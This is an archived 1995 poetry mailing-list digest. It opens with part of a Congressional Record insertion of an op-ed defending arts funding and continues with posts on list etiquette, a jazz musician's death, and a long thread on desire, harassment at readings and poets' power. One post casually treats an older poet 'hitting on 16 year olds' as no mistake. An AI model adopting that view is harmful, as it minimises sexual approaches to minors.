> Globe entitled `Funding the Arts Enriches the Nation,' John Silber,
> president of Boston University, provides an eloquent reminder of the
> importance of the arts to the spirit of our Nation. President Silber
> effectively rebuts the negative myths about the National Endowment for
> the Arts and states the necessity and desirability of continued
> funding of the arts . NEA represents only one-half of 1 percent of the
> Federal budget. The program it funds and disseminates to neighborhoods
> and communities across America are eminently deserving of this
> moderate level of Federal support.
>
> I commend this article to my colleagues and I ask unanimous consent
> that it may be printed at this point in the Record.
>
> There being no objection, the article was ordered to be printed in the
> Record, as follows:
>
> From the Boston Globe, Mar. 20, 1995
>
> Funding the Arts Enriches the Nation
>
> (By John Silber)
>
> The 104th Congress has brought with it an open season on federal
> support for culture. Members of the congressional leadership have
> proposed defunding public broadcasting, and two former heads of the
> National Endowment for the Humanities testified that it ought to be
> terminated and advised the same fate for the National Endowment for
> the Arts .
>
> The most common charge made against public broadcasting is bias toward
> the left, and those who would impose a death sentence on two

> endowments continually trot out the same horror stories.
>
> With regard to the NEA, the cases in point are some items in an
> exhibit of Robert Mapplethorpe's photographs, an alleged work of art
> called `Piss Christ' by Andres Serrano and a piece of blood-spattered
> performance art by Ron Athey.
>
> The NEH has subsidized a ludicrously tendentious set of standards for
> the teaching of history and has funded the Modern Language
> Association, the professional association of literary scholars, as it
> deconstructs into vulgarity and irrevelence.
>
> These genuine horror stories are not so much the doing of the
> endowments as irrepressible eruptions of contemporary culture. It is
> very likely they would have occurred without government subsidy. We
> live, after all, in an age when John Cage was taken seriously as a
> composer.
>
> But these are only the horror stories. The solid achievements of the
> endowments are ignored in favor of their few sensational mistakes.
>
> The NEA has provided startup funds for a vigorous movement of regional
> theaters and enriched the musical life in the nation through the support of
> orchestras and other
> performance groups. The NEH has, among other activities, supported
> some of the most distinguished programs on public television, such as
> `Masterpiece Theatre' and `The Civil War.'
>
> Such successes have enriched the intellectual and artistic life of
> millions of Americans, and they have been far more influential than
> the comparatively few failures.
>
> Nor is it true that PBS is, as a whole, a liberal enclave. There are,
> of course programs on PBS made from a liberal perspective and
> sometimes this perspective amounts to a bias that distorts reality.
> But PBS is also studded with programs produced from a conservative
> perspective.
>
> And the great majority of PBS programs are about as free of ideology
> as is humanely possible. Consider one recent case, a history of the
> Cold War called `Messengers from Moscow.' The final episode of the
> series was made up largely of interviews with Soviet politicians,

> bureaucrats and generals. Most of them agreed that the Soviet Union
> had been a fraud, and that the US challenge, orchestrated largely by
> Ronald Reagan, had brought the Soviet system down and made them see
> reality.
>
> Jimmy Carter appeared as the man who first terrified the Soviets by
> considering the neutron bomb, and then was snookered into abandoning
> it by a massive propaganda assault. A Russian general explained that
> had the neutron bomb been deployed, the Soviet strategy of
> overwhelming NATO with tanks would have been rendered useless.
>
> This politically incorrect program was produced by a PBS station with
> major funding from the NEH. It is representative of federally
> subsidized culture at its objective best, and it is impossible to
> imagine it on commercial television.
>
> If we extended the standard of perfection now being applied to PBS and
> the endowments to other institutions, we should have long ago
> terminated the Congress, the State Department, the presidency and
> every known agency of government. In addition we should have
> eliminated all hospitals, schools, colleges and universities and dealt
> with all churches as Henry VIII dealt with the monasteries of England.
>
> The NEA has frequently endorsed the notion that the sole duty of art
> is to provoke and outrage. Great art will, sometimes, do exactly that.
> But that is a consequence, not an end. Monet outraged many of the
> bourgeoisie, but that was not his intention, only a result of the
> impact his vision of light had on people raised on a diet of academic
> realism.
>
> Public broadcasting and the Endowments consume only 1/50 th of 1
> percent of the federal budget. By helping to preserve and disseminate
> culture they have contributed value far exceeding their modest
> funding. Terminating these useful agencies on the basis of a few
> sensational mistakes will do little to balance the budget but will
> deprive the country of much value.

↑ **Index**

48. Colleen Lookingbill
Re: Responsibility
Tue 4 Apr 1995

Where can I sign up for the Ed Foster fan club? In the last few weeks your posts have been consistently the best of the list for me - perhaps your brevity adds to the delight. I'd never have enough guts to say the *boring* word. Ooops! guess I did!

from - I'm your fan - Colleen Lookingbill

↑ Index

49. John Byrum
GENERATOR Press 1995 Catalogue
Tue 4 Apr 1995

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↑ Index

50. Jeffrey Timmons
Re: Boring
Tue 4 Apr 1995

A Person Tired Of Theory Is Tired Of Life, or something like that....

Jeffrey Timmons

↑ Index

51. Aldon L. Nielsen
Re: Julius Hemphill
Tue 4 Apr 1995

I just received word that the brilliant alto sax player and composer Julius Hemphill died yesterday, at 57. If you've listened to early World Saxophone Quartet, you know his work. If you have never heard him, get a copy of _Dogon A.D._ and listen carefully. Julius was a great friend to poets and often worked with poets' texts in his compositions. Since his illness began to make it difficult to perform, his compositions have been presented in public frequently by the Julius Hemphill Sextet.

If we could only listen to each other as attentively and inventively as Julius listened to the other musicians in his bands . . .

↑ Index

52. Chris Stroffolino
Re: Boring
Tue 4 Apr 1995

Jeffrey TImons writes
"A person Tired Of theory Is Tired Of Life, or something like that..."
Flipper sang "You're so bored coz you're boring"--
But i always think about how BORING can be taken two ways
which prevents me from "using" it half the time....CS

↑ Index

53. Kevin Killian
40, 50, and 60 year olds
Tue 4 Apr 1995

Hi, this is really from Kevin and not from Dodie. Dear Gary Sullivan, I can't decide how disingenuous you're being when, in describing the horror of sexual harassment, you ask us how would you like it if some 40, 50, 60 year old guy had his hands down your pants, as though the increasing decades made the horror more exponential. As though if the guy was 30 it wouldn't be so bad and 20 maybe actually okay or groovy.

Please clarify on this important point. Otherwise you're summoning up some hypothetical bogeyman to scare young poets & playing into a social construction of a predator (the predator is incredibly old, ancient, even tho' he may try to look young) (age itself is horror) (the older one gets, the more vampiric the sexual predator becomes as he needs the young blood of poets) (the prey, finally, ages much more slowly than the old, 40, 50, 60- year old predator?)

Yours-Kevin Killian, aet 42

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54. Christopher J Beach
poeticslist
Tue 4 Apr 1995

Greetings to all friends and acquaintances on the list, which I have recently joined (and thanks to "cb," who, incidentally, has the same initials as I do). I have been enjoying many of the discussions on the list, especially those on "close reading" and "hallmark cards." Thanks, Maria, for your insightful comments. Also thanks to Ken for the compiled list of fascinating things people are reading. I wish I had half the time it would take to look into all of them.

My one observation about the list so far (and this is based only on about a month-long perusal of its contents) is that a lot of the postings seem to be more like "private" conversations between two individuals than information or discussion that would be useful to the community as a whole. Is this a fair statement, or am I missing something? Often these messages seem like they could just as easily be sent to one person than to 200. I'm not trying to "restrict" anyone's use of the list, but it seems like with the ever-growing numbers of messages that come in (sometimes nearly 30 a day) some consideration could be given to how interesting/relevant things are going to be for everyone (and how much time it takes to go thru and digest all the

messages. There was also a question recently about dividing the list into more specific interests. What is the status, or history, of this idea? How would it work? Anyway, thank you all for your knowledge, wisdom, and sense of play (free or otherwise).

Chris

↑ Index

55. **Edward Foster**
Re: Desire
Tue 4 Apr 1995

---

oh, gary, come on; the "victims" are exactly in nursery school.

↑ Index

56. **Edward Foster**
Re: Desire
Tue 4 Apr 1995

---

oops, meant "aren't"

↑ Index

57. **Edward Foster**
Re: Desire
Tue 4 Apr 1995

---

back to that desire business: recall wallace stevens (must have been 40, if a day): "a ring of men / Shall chant in orgy on a summer morn . . . ./ Their chant shall be a chant of paradise." Yah, yah, yah!!!!

↑ Index

58. **I.LIGHTMAN**
Re: Desire, Ira Lightman
Tue 4 Apr 1995

Hi everyone,

I did want to say publically to Gary, thanks really deeply for your response to my mail, it put a lot of the verve in that I was too reasonably avoiding.
Also, Dodie, thanks too for your response; I'm sorry I didn't make it utterly clear that I really enjoyed the pleasantry of your original message, that I wasn't offering a reading of it, but moved, laterally, to touchstone off it. A lot of what you say brilliantly contextualises what I was trying to say; one of the things I love about Mirage is the fact that writing about sex is so common and

happy in it, that all sorts of things come out into the open. One is that its writers clearly are also readers of Mirage, and realize that to write about sex for it is not to be unusual per se; and this in turn creates a creative impetus to present sex differently, not simply as a given or a rebus (I'm almost certainly using this word wrongly) but as a genre, to be added to in detail, questioned, opened up, written about thoroughly; as a result, a lot of the issues I was describing in my post have room to breathe, and do come out. I agree with you absolutely that the avant-garde space is so often heterosexual; one rarely sees the same deliberate care over always writing the reader as s/he or she, when discussing desire, longing, fantasy; such that these things become conventional, channeled, rather than free, open. A lot of my own politics come from active participation in the bi movement where, I often think for the spurious slightly numbnut reason that people think being bi is about never being fulfilled in one's lust for a whole gender by one partner of that gender, non-monogamy is the key discussion and workshop issue. Polygamy is a very different thing from promiscuity, is the one thought I have to say nearly every day versus unthinking prejudice. But an issue I haven't got onto the agenda as much as I'd like it got there is: as I was saying in my message, that the intense heart also makes me polygamous, with collaborators, lovers and friends "competing" (hopefully not, in fact). There is, of course, the most common point made in polygamy workshops, that lovers in more than one sexual relationship often envy their lover's *friendships* more than other *sexual* relationships - but that's not fully what I mean, as I'm talking about *art* relationships, *perception* relationships. You're absolutely right, Dodie, in my experience that these are commonly discussed, non-feared, maturely-discussed issues outside usual heterosexual space, and thanks entirely for your posting.

Ira

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59. I.LIGHTMAN
Re: Desire
Tue 4 Apr 1995

Please excuse me if I modestly remove my name from this byline. I sent my post about Gary and Dodie's before receiving Kevin's. I think, as ever Kevin, you raise vital points about what slips through and into Gary (and my own) fierce remonstrances about sexual violence. Absolutely, agism is terrible, and is going on under cover of this debate, which is really about power and responsibility. I can think of a lot of visual artists who can get a lot of power when very young and misuse it, which *would* be yucky if it followed the lines of the abuse of a fan who wanted to get some encouragement as a *person* and *artist*, as Gary and I have been saying. There remains, however, the issue of seniority, taking

on the trappings of respect as a senior and distinguished (Ginsberg) or political and radical (the unnamed soi-disant langauge poet), but not buying the whole package, which is one's own responsibilites to behave ethically if one is selling oneself/agreeing to be sold as a political or senior figure. And, even if not for that, it's yucky to not take no for an answer, and yucky, as Gary says, for everyone to stand back and let the powerful (let's not say older) visiting artist harass someone who has said no. Of course, yourself, the delightful Kevin, who was such a courteous and generous (intellectually and hospitably) person when I visited San Fransisco last year, and who remains an open, utterly non-harassing and non-violent, friendly face and person, are utterly right to refuse this agist stereotyping. But I know so many who fit it; nevertheless, let us keep the discussion precisely focussed, and talk about *power* not *age*.

Ira

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60. Edward Foster
Re: Desire, Ira Lightman
Tue 4 Apr 1995

as for that "heterosexual space," i say "enough of that blankety blank blank blank." sorry, can't be more specific or might look like one of gary's over-40 leches, so wil just have to leave it there: "heterosexual space" is just plain "blankety blank."

↑ Index

61. Kevin Killian
Re: Desire, Ira Lightman
Tue 4 Apr 1995

> *But an issue I haven't got onto the agenda as much as I'd like it got there is: as I was saying in my message, that the intense heart also makes me polygamous, with collaborators, lovers and friends "competing" (hopefully not, in fact). There is, of course, the most common point made in polygamy workshops, that lovers in more than one sexual relationship often envy their lover's *friendships* more than other *sexual* relationships - but that's not fully what I mean, as I'm talking about *art* relationships, *perception* relationships.*

You're right, Ira, sex is more than churning bodyparts. We don't have to read Lacan to know that.

Per Christopher Beach's suggestions about overloading the list with personal converstions, I'll write to you personally about your lifestyle choices.

Soon,
Dodie

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62. cris cheek
Re: desire
Tue 4 Apr 1995

Whose freedom was there in free love? For as the Customs Man would have said: 'everyone there is in chains". Out of the verifiable mouths of babes and lionesses comes the plaintive singing 'b-o-r-e-d f-r-e-e; free as the win . .'

It is the poet who has nothing left to contribute who trades off their previous 'success' by abusing and exploiting the image of the romantic - bohemian (often under the cloak of rinks and rugs (sic)) thereby projecting back onto society the stereotypical image of the poet which 'society' still projects onto them because of their predictable revelling (o rage rage against the dying of delight) in modish vacant husks - like the cynical vacuity of empires trading on and off their former 'pomp and glory'.

↑ Index

63. Lindz Williamson
Dentistry
Tue 4 Apr 1995

Responding to Blair, but not wanting to aleinate anyone else,

Word of advice do not leave this thing on over the weekend, what a nightmare. Forgive me if my train of thought is jumbled but I just scanned through 60 messages. Transidental erotica seems to be the hot topic now, so let see what I can say. Reply to Blair's getting a grip on reality, I fully comprehend. We can not afford to live outside of our era, or generation. Images can stand the test of time, see life magazine for evidence of that. One of my favorite collections of poetic interpretation of canvas is Stephen Dobyns' collection the Balthus poems(1982), especially "Getting Up". Everyone should check it out. Along the same lines he his collection Body Traffic(1990) has some delightful(I can't believe i used delightful, more like toe curling) works on desire, particularily "The Body's Curse", "Desire" and "The Body's Hope".

i've been thinking about the somewhat erotic aspect of this list as someone just pointed out there are a series of personal converations going on and we are all voyuers looking in, salvating for the next witty line. And now we can't hold off sex must be discussed. Which I was lying in waiting for(actually I wondered if it was forbidden) , but being a new comer I didn't want to seem too eager in

corrupting the system. sex and poetry are the two most absorbing aspects of my life and I find Ryan's idea of writing away from language intriguing if I could combine it with writing away from sex (lust, desire, emotion and gender). The subjective is what I need to turn away from, but I find that emensely difficult as i write for my time, I write for what I belive in. Sex is my Religion. So if my words seem transcdental it is merely the sound of my soul across my teeth.

Lindz (lindsey is how you say it)

Ps. Hey Ryan quit lurking in on my conversations you academic pervert, and you better buy my a pint next Wednesday. my courage will be coming from the beer.

↑ Index

64. Lindz Williamson
totem poles
Tue 4 Apr 1995

Blair wrote,

> I see primitive art like those wonderful totem poles in BC

Hey don't you be calling totem poles primitive, native maybe but not primitive. And yes they are wonderful. I often go out to the museum of Anthropology to sit and read under them, I live close enough to campus that i venture out there often to lay in the grass and watch the descendents of Bill Reid(famous Haida Artist) carve away in the long house. It feels nice to stare into space with the paws of a grizzly bear hovering above your head.

Lindz

↑ Index

65. Tony Green
Re: ian macdonald
Tue 4 Apr 1995

W Curnow writes:
Dear Chris,
I believe Old MacDonald had a farm. Up North.
Is this any help?
Wystan

Confirming this with the well-known song, in its local Auckland
art-scene variant
VERSE
I believe Yeah yeah Old I sd old

Macdonald had a farm up north
Yeah Ld have mercy a life-style farm
till an agent told him how much it was Worth
 [to Dior] & he yeah and he cashed in
CHORUS
Old MacDonald had a farm
And on that farm he had a ..... corporate sponsor
 Ee AY Ee Ay Yo etc
With a glug-glug here and a handshake there
Here a glug there a glug everywhere a glug glug...

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

66. Rae Armantrout
Re: Desire, Ira Lightman
Tue 4 Apr 1995

I don't know about this image of the Powerful Poet and the Put-Upon Maiden. Poets don't really have power, do they? Not even A.G. At most they have fame. Now some people think fame will rub off if you can get close to it, but I don't think so. I know there are other things to be said about this issue, but there's also this.

Rae Armantrout

↑ Index

67. cris cheek
Re: poeticslist and Desire
Tue 4 Apr 1995

The question of what are and what aren't appropriate multiple postings has been raised again (C. Beach). This feeds back somewhat into the rapidly emergent discussions on 'desire' which I welcome.

Any further thoughts on 'public' and 'private' - 'interpersonal' and ?

'poetry'

cris

↑ Index

68. Lindz Williamson
Re: desire
Tue 4 Apr 1995

> Be not afeard;the isle if full of noises,
> Sounds and sweet airs that give delight and hurt not.
> Sometimes a thousand twnaging instruments
> Will hum about mine ears; and sometimes voices
> That, if I then had waked after long sleep,
> Will make me sleep again; and then, in dreaming,
> The clouds methought would open and show riches
> Ready to drop upon me,that, when I waked,
> I cried to dream again.

This is desire, atleast when you're studing for your Shakespeare final this is desire.

Lindz

↑ Index

69. Eric M. Gleason
Re: poeticslist (Chris Beach)
Tue 4 Apr 1995

I count myself among those that do much more lurking around this list than contributing, and in part I agree with you, Chris. It does seem to me that a great deal of the conversations on here are between just a few people, but if those were moved to private email, the rest of us would lose out on some very interesting threads, not to mention the ideas that spinoff those conversations.

--

"Just call me Eric"
Eryque Gleason 71 E. 32nd St. Box 949
[redacted] Chicago, Il 60616

↑ Index

70. Edward Foster
Re: Desire
Tue 4 Apr 1995

ira, gary, etc.: poet not on this heard of gary's problem with the over-40, so called, asked that i post reminder of yeats' "the spur" in which as old man he writes of "lust and rage": "What else have I to spur me into song?"

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71. Wystan Curnow
Re: Desire
Tue 4 Apr 1995

Dear Gary, What appalling parties you have in St. Paul! I know, and Ira's told you how totally corrupt it all is out here in NZ, but to be utterly frank with you I have never witnessed anything remotely like what you describe.I. Is it something to do with the provinces? I guess you get a steady stream of scumbaggers from the big cities, do you? We get hardly any 'cos we're so remote. Lyn Hejinian, who's in her 50s and pretty famous as far as we're concerned, has just been here; she certainly kept her hands to herself, and everyone did adore her. Maybe its different in Wellington--Ira can tell you. We used to have pub readings in Auckland but since sometime in the 80s when clubs and cafes took over they lost what cool they had.It's so important to set the right ambiance for readings, don't you think? People are more likely to behave properly then. I launched my last book in a dealer gallery, got someone in to do the flowers and had the food catered. Get away from that Boho atmosphere you know? Wystan

↑ Index

72. Blair Seagram
Re: Back to poetry (was it 3?)
Tue 4 Apr 1995

Dear Charles: Regarding the part of your message that reads:

"While I sometimes find myself working within the trappings of this sort of thinking, I also wonder what such thoughts have to do with artists working from and sometimes within such cultures as the Hopi and Zuni, or hundreds of cultures throughout the world (and by no means are all the practices of such artists "traditional" in senses understood by their culture or this generalized Western one) whose practices deserve to be considered as legitimate or central as any other, including the one in which we hold ourselves up to Nietzschean prophecies."

I admit I am ignorant of what the Hopi are up to today and have no knowledge of the Zuni. That these voices may be drowned by so much noise is no ones fault but my own. If one is enriched by these cultures so much the better. If cultures like these can proceed without interference from us (what shall we call ouselves, western, developed, imperial?) they have a chance to maintain their dignity. If we interfere with their lifestyles we commit a most obvious act of aggression.

Being a product of western culture, it seems natural to try to grasp the course of events that have lead us to our present circumstances. If we can see cultures like the Hopi as something to be understood and learned from rather than conquered then we have at least begun the relationship on a footing of respect.

This is so easy to say in the abstact, but with regard to the North American Indian, it becomes more personal. One cannot deny the damage that has been done. But in a way, I resent the fact that many people today are being held responsible for a charter that was made two hundred years ago between the government of Canada and the Indians. And part of the reason I resent it is because I see people who have owned a piece of land for three or four generations, now under attack by any one who has an ounce of Indian blood in them, claiming that the land is theirs. How does one begin to right all the wrongs? How do you turn back time? I know this is slightly off the topic, and I only lay myself open to criticism. But as I glibly acknowlegde the validity of other cultures in a totally different mind set, I am acutely aware of the difficulty of settling the differences that are result of western civilization and its desire to conquer.

Blair

↑ Index

73. Blair Seagram
Re: Kenny's list
Tue 4 Apr 1995

I too would like to thank you, Kenneth Goldsmith, for putting it all together.

Love

↑ Index

74. Blair Seagram
Re: writing in resistance to language
Tue 4 Apr 1995

Dear Ryan:
In resonse to your remark

"I also agree with your comments that this is an age abandoning the transcendental. But if you write in resistance to language, widening its holes, flirting with contradictions or the its take upon "reality", is this not a transcendental pursuit? Perhaps it's just mask in place stuff. (looking forward to your reading next Wedn. Lindz)"

Several years ago I read a book called "Literature Against Itself" by Gerald Graff and I think it spoke to this issue. To answer your question, yes, I think literature can go against itself in order to make a point. In fact that may be the only way to do it. But I think there is a qualifer, namely, that you go against something with a purpose. You go against it to show its fallacy. To resist for resistance sake leads nowhere and is destructive. To resist with a purpose is a way to move beyond and that is positive. I don't think of Nietzsche as negative for the sake of negativity. He saw a truth, in fact he saw several truths, and expressed them. So if he we can get his drift, that may help us to see things more clearly. I have read art critics who blame the state of current affairs in the art world on Nietzsche and while I may agree with the state of affairs, I would hardly blame them on Nietzsche.

In a way, I see Nietzsche as purely positive. I read somewhere that Emerson was the only philosopher that Nietzsche did not dismiss or criticize.

Best wishes

Blair

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75. Jeffrey Timmons
Re: Desire
Wed 5 Apr 1995

On Tue, 4 Apr 1995, Edward Foster wrote:

> back to that desire business: recall wallace stevens (must have been 40, if a day): "a ring of men / Shall chant in orgy on a summer morn . . . ./ Their chant shall be a chant of paradise." Yah, yah, yah!!!!

This Stevens poem is a wonderful appropriation of the feminine; I've always thought it a wonderful performance of drag: the male poet using feminine space to reinsert male privilege. Sort of a confused Whitmanianism; confused because it tries to reconcile its opposite in the guise of the male....

Kidding. Not really. See Frank Lentricchia's book Ariel and the Police, where he suggests Stevens is acting a bit of transvestisism (sp) here.

Jeffrey Timmons

↑ Index

76. Jeffrey Timmons
Re: poeticslist and Desire
Wed 5 Apr 1995

On Tue, 4 Apr 1995, cris cheek wrote:

> *The question of what are and what aren't appropriate multiple postings has been raised again (C. Beach). This feeds back somewhat into the rapidly emergent discussions on 'desire' which I welcome.*
>
> *Any further thoughts on 'public' and 'private' - 'interpersonal' and ? 'poetry'*

I like the proliferation. . . and the conversations, as multiple and elliptical as they are, with their blend and blur of publicandprivate. . . . Let desire multiple, it will not be contained by the Law of/or by the Father (even if he is bored) and the blankety-blank will be the sign of what remains just out of reach . . . and for good reason. . . . Laughter. . . . again, always....

Huh,
Jeffrey Timmons

↑ Index

77. Wystan Curnow
Re: Power
Wed 5 Apr 1995

Dear Selby,
Nothing changed.
Wystan

↑ Index

78. Jeffrey Timmons
Re: Dentistry
Wed 5 Apr 1995

On Tue, 4 Apr 1995, Lindz Williamson wrote:

Sex is my Religion.

"Sex and Religion, why can't we love christ in our bed?"
Steve Vai, Sex and Religion

Jeffrey Timmons

↑ Index

79. Spencer Selby
Re: Power
Wed 5 Apr 1995

I think all poets who don't have power should give up all the power they don't have. Then if nothing changes, we'll know that Rae is right.

Spencer Selby

On Tue, 4 Apr 1995, Rae Armantrout wrote:

> *I don't know about this image of the Powerful Poet and the Put-Upon Maiden. Poets don't really have power, do they? Not even A.G. At most they have fame. Now some people think fame will rub off if you can get close to it, but I don't think so. I know there are other things to be said about this issue, but there's also this.*
>
> *Rae Armantrout*

↑ Index

80. John Geraets
Re: Desire, Ira Lightman
Wed 5 Apr 1995

Hi Rae

I don't know about this Powerful or Famous poet thing either. I do know that I'm a male who's been affected by exercises of power and that this enters my writing and my person.

Power often prefers small spaces, and I think a poet can use it as brutally as anyone. More, because we/he/she/they claim licence. Poetry wants no a priori accountability.

So often Poetry seems to want to align itself with the good. Aesthetics as a story of high moral endeavour. The moral claim of poetry seems to me another power ploy/play. Aberrations like fame are a spin-off.

That said, I wouldn't want someone's fame rubbed off on me.

John Geraets
[redacted]

↑ Index

81. Mark Roberts
Re: Power & Fame (longish)
Wed 5 Apr 1995

> *The following is a letter I wrote on Tuesday at home. I have tried unsuccessfully to get it out as an attachment to a post. It is a reply, in part, to a back channel post from John Geraets. I'd like to share it with the net, though.*
> *[I should add the following annotations: James Baxter, NZ poet, collected by Oxford U.P., Colin, is his friend Colin McCahon, NZ painter, who painted series of paintings of the Statins of the Cross as a memorial for Baxter in 1973; Stefan is my son, 11 years old, approaching 12, Sean Hoppe is a rugby league player, a fine winger, playing for the Auckland Warriors.]*

Has Sean Hoppe signed with the Murdoch Super League?

Mark Roberts
Australian Writing OnLine

↑ Index

82. Ron Silliman
Parties in Minnesota
Wed 5 Apr 1995

Gary,

What I don't get is the point of identifying your out-of-control poet by an aesthetic? Over the years, I've seen this sort of behavior from virtually every tendency within the New American Poetry and its heirs and my friends who studied with Richard Hugo tell me life is no prettier out in that pasture neither.

Rae is right about poets and power, but often younger writers project a kind of power on their elders. Look at how worshipful the hangers on at the Factory were towards Warhol. Did Gerard Malanga acquire power? Look at the sainthood that Coolidge projects onto Kerouac in his big review in VLS.

At the Berkeley Poetry Conference in 1965, the young (teenagers and just past) gay poets I knew worked hard to try and bag a Ginsberg for their trophy wall. From a distance, star fucking always looks pathetic. And when it gets turned around (the older more "famous" or "powerful" chasing after the younger more vulnerable) it looks even worse. When a beat generation novelist puts a gun to the head of a young grad student in order to get some gratification--this does seem to have happened--or if people have their clothes ripped off by the Vajra guard, then it seems just fine to me if the cops get brought in. Ginsberg's mistake, I think, isn't in hitting on 16 year olds, but rather in serving as a cover

for a group that acts as if power is not an issue and it's okay to do the same with 8 year olds.

Ron

↑ Index

83. Joe Amato
Re: Parties in Minnesota
Wed 5 Apr 1995

this issue of fame/power and such butts right up against the sex. harassment controversies continuing to reverb. through academe and institutional settings in general... there are times, as ron indicates, when the cops should be brought in... there are times when appeals should be made to rules explicitly designated for such abuses... and there is also a more diffuse, equally problematic and less generally acknowledged eros attendant to such---shall we say?---transactions...

in the most recent *utne reader*---with the cover story (worth catching too) "cyberhood vs. neighborhood"---there's an excerpt on p. 37 with the byline "in praise of student/teacher romances: notes on the subversive power of passion"... it's by bell hooks (excerpted from *shambhala sun*)... while i have local reservations, as i typically do with hooks' stuff, i nevertheless found assertions such as the following provocative, and perhaps pertinent to opening up *this* discussion some:

"Throughout my years as a student, I was always mindful of the way in which devotion to a teacher within a learning community, whether in a classroom setting or in a religious context, can arouse erotic longings. Passionate pedagogy in any context is likely to spark erotic feeling. I have known such feeling as a student and experienced it as a teacher."

hooks goes on to admit to sexual relations with "older male professors," and with a student re which "the unequal power relations between us were a source of tension and conflict we did not resolve"...

joe

↑ Index

84. Aldon L. Nielsen
Re: Transcendent Desire & Stevens
Wed 5 Apr 1995

David Bromige, author of _Desire_, writes in _Harbormaster of Hong Kong_:

not every trembling hand can make us squeak

---

my god wallace your breasts are like mice

Johnny Rotten once said, "Sex is boring," but I guess he must have meant "theory" --

↑ Index

85. Rae Armantrout
Re: Desire, Ira Lightman
Wed 5 Apr 1995

Well, I know it's a complex issue. I just wanted to point out that the level of power this mysterious Old poet has is not a very great one. In fact, it's mostly in the mind of the beholder. What negative consequences is he really holding over the head of the mystery Young lady?. I hope I don't get confused with Camille Paglia here, but I'm just saying that the less famous person has some responsibility here too. If she/he really lets some creep paw her for hours in public just because she thinks he's somehow eminent, then what does that say about her? The young woman in Gary's post was portrayed in oddly Victorian terms, almost as a damsel in need of rescue. She is portrayed as essentially powerless. I guess I found that troubling. Enough said?

Rae Armantrout

↑ Index

86. eric pape
Re: Desire
Wed 5 Apr 1995

There is no normative sexuality is there? There is not two sexes, or four sexes or six sexes but at the least a sex for every act imaginable and at most a sex for every sex thought thought in every sexed body? And doesn't this relate to poetry (funny how folks got a sexuality and a literature around the same historical moment or maybe not so considering hist. rise of the bourg.) in that there is no normative poetry? No normative for reading/writing/sexing poetry? And if it is true as I think is clear that poetry is in some sense always already a seduction, then may it follow that poetry being a consensual sexual event between multiple readers/writers across the body of a sexed text is as much about sexpower as any sexual event (and in this way I try to braid the various threads of recent posts)? Therefore everything goes, in sex and poetry, except of course that everything cannot go because everything comes from a context of powersex relations. Our sexed bodies, whether textual or tactile, in some sense imaginative constructions/fictions, but isn't this where the fun

comes in? All of us drag queens, butches,femmes, acting out a fantasy of historically determined sex and finally I think this where sexpoetry can go from here which is to penetrate/be penetrated into/by the fictions of our sex? Woops, am I talking about narrative? Thanks, Eric.

↑ Index

87. cris cheek
back to back poetry
Wed 5 Apr 1995

Hi Chris, the issues around validation of 'taste' and canon formation re power and abuse of power are fascinating. Alan Golding (on this list) has written some on Lang-po and canon formation, work that I'd strongly recommend.

Claiming authority on the basis of occupying 'high ground(s)'(the proliferating and necessary but frequently divisive politics of identities) when perniciously reified from 'other' fields or imposed across art forms (in this country there was a very public debate about whether Dylan or Keats were the more 'serious' poet, opened up and jettisoned into the arena by a 'highbrow' playwright prominent in 'the National Theatre' - thus setting the 'high' 'low' cultural ideologies into play) is often used to demean and deny new work. Controlling an agenda by controlling the spheres and terms of reference is an old ploy - one of the most effective. A limited mapping of territories for discourse can be seen as either 'focussed' or 'blinkered', dependent on your points of view.

In humane interactions one of the most dangerous of all tendencies is to enforce a belief that something once explored and seemingly comprehensively dismissed is therefore consigned off limits as being for all time past its sell by date. Having said which the work of others past and present is of course there to be learned from - and challenged.

'Fight the Power'
love cris

↑ Index

88. I.LIGHTMAN
Re: Parties in Minnesota
Wed 5 Apr 1995

Ron,

I absolutely agree with you that Ginsberg's support of the North American Man Boy Love Association is very nasty.

But I don't why the hell everyone is trying to redefine who the 16 and 18 year olds are, and never once accept that there *are* young men, as young women, who may be very promising poets and also in their personal life very vulnerable and isolated - not only because being interested in difficult poetry does isolate and alienate you, but also because there may be personal factors. Anybody remotely queer (and I include people who sleep with the opposite gender) is likely to get a lot of routine verbal abuse, and feel the presence of hatred for all same-sex behaviour and/or effeminacy (I certainly don't equate the two), which frankly fucks your confidence and affects your self-worth sexually, which is exactly what a lecher can take advantage of. And, to take up further the Nambla link with Ginsberg, anyone who has been molested in any way as a child is similarly very vulnerable to being leched by someone offering sex in the name of love.

This isn't just an issue for poets' power, it's an issue for anyone's power, so by all means I'll agree that poets don't have power in the sense of *superpower* like Spiderman or Catwoman, but they do have power that anyone has over someone vulnerable - and thanks to Nambla, Ginsberg or any of us has 3 groups likely to attend poetry readings who are vulnerable, as I've described. It remains, Ron, an issue connected with avant-garde poetics and not just all poets, not because it's isn't common to all poets, but because the degree of isolation I'm describing in one of my groups is greater the more difficult and avant-garde the poet is himself/herself or is the group he/she sells himself/herself on. I could find many devoted Thom Gunn fans to talk over my passion with, only a handful of Ron Silliman fans, or Carla Harryman fans. I just think of how Ezra Pound always shared out any prize money he got with younger poets, and think that's how you do it if you believe in art.

Ira

↑ Index

89. I.LIGHTMAN

desire : renaissance

Wed 5 Apr 1995

Woe.

Awe.

Many hold themselves.

Too sexual straits.

I looked through your human eyes and those balls.

You many who tense, woe, many hear but head

for Garth like Kim Basinger and Wayne like Tina Carrera and Tilda Swinton like Derek Jarman and Ludwig Wittgenstein like Bertrand Russell and Camille Paglia like Susie Bright.

And Garth for Kim Basinger for Wayne for Tina Carrera for Tilda Swinton for Derek Jarman for Wittgenstein for Bertrand Russell for Camille Paglia for Susie Birght for?

Who wants to be seen does not seem to want the scene who's seen whose seam is a small fleshly whorl in the belly as it lifts and filters over the knees of the driver in a car of sexuality outwards to the straits coasting round the continual frontier that brakes freedom or makes freedom or defines freedom or confines freedom as the lovingly made meal washes round making the body freshly worn like hair changing entered in diaries.

Come on in to the reasonable adult life more sell daily than any other brand of stake in the non-money marketing stinging the mark for a reconnaissance or a re-cheat-birth as the mark exchanges sterling in the face of thumping and determined in the face of dolour as an innocent is a broad and happy village where even a biplane is a floating cartoon sandwich over enemy lines armed with dildos sputtering silicon melon pips after the sumptuous mouth waters down.

↑ Index

90. Gary Sullivan

Re: Desire, responsibility, etc.

Wed 5 Apr 1995

